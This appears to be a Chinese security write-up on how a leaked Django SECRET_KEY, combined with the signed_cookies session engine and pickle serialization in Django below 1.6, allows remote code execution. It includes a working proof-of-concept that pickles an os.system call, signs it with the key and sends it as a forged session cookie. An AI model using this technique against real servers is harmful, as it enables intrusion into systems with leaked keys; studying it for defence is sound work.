从django的SECRET_KEY到代码执行

0x00 背景

最近审查代码发现某些产品在登录的JS代码中泄露了SECRET_KEY,将该值作为密码加密的盐，这样就暴露了加密salt不太好吧，更重要的是对django的安全造成了极大的威胁。
0x01 SECRET_KEY作用

SECTET_KEY在djanog中使用非常广泛，基本上涉及到安全，加密等的地方都用到了，下面列举一些常见情景：

1，json object的签名

2，加密函数，如密码重置，表单，评论，csrf的key，session数据

这里面就要重点讲到session的问题，在这里使用不当就会导致代码执行
0x02 代码执行
2.1 settings的session设置

django默认存储session到数据库中，但是可能会比较慢，就会使用到缓存，文件，还有cookie等方式，如果采用了cookie机制则有可能代码执行，settings配置如下：

SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'

2.2 django 1.6以下

在django1.6以下，session默认是采用pickle执行序列号操作，在1.6及以上版本默认采用json序列化。代码执行只存在于使用pickle序列话的操作中。
2.3 session处理流程

可以简单的分为两部分，process_request和process_response,前者负责选择session引擎，初始化cookie数据。见代码

    
class SessionMiddleware(object):
    def process_request(self, request):
        engine = import_module(settings.SESSION_ENGINE)
        session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None)
        request.session = engine.SessionStore(session_key)

process_response则是处理返回给用户的cookie信息，比如修改过期时间等。在将session存入缓存后，可能在某个操作中会用到session信息，这个时候就会通过反序列化操作从缓存中取，如果反序列话引擎是采用pickle机制的话就存在代码执行。反序列化的代码位于django.core.signing.py中，这个模块主要是一些签名，加解密操作，同时也包含序列化和反序列化，默认采用JSON引擎，下面是反序列话loads的代码：

    
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
    """
    Reverse of dumps(), raises BadSignature if signature fails
    """
    base64d = smart_str(
        TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))
    decompress = False
    if base64d[0] == '.':
        # It's compressed; uncompress it first
        base64d = base64d[1:]
        decompress = True
    data = b64_decode(base64d)
    if decompress:
        data = zlib.decompress(data)
    return serializer().loads(data)
2.4 构造POC

    
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
 
 
class Run(object):
    def __reduce__(self):
        return (os.system,('touch /tmp/xxlegend.log',))
 
sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess
 
import urllib2
import cookielib
 
url = 'http://10.24.35.228:8000/favicon.ico'
headers = {'Cookie':'sessionid="%s"' %(sess)}
request = urllib2.Request(url,headers = headers)
response = urllib2.urlopen(request)
print response.read()

通过序列化Run类，实现创建一个文件的操作，在反序列化的时候执行这个操作。执行代码完成可看到在/tmp目录创建xxlegend.log文件，同时web报500错误。
0x03 总结

利用条件总结起来就是这么几句话，首先泄露了SECRET_KEY,其次session引擎采用了signed_cookies,django版本小于1.6即存在代码执行问题。同样的问题也存在于python的其他web框架中，如flask，bottle。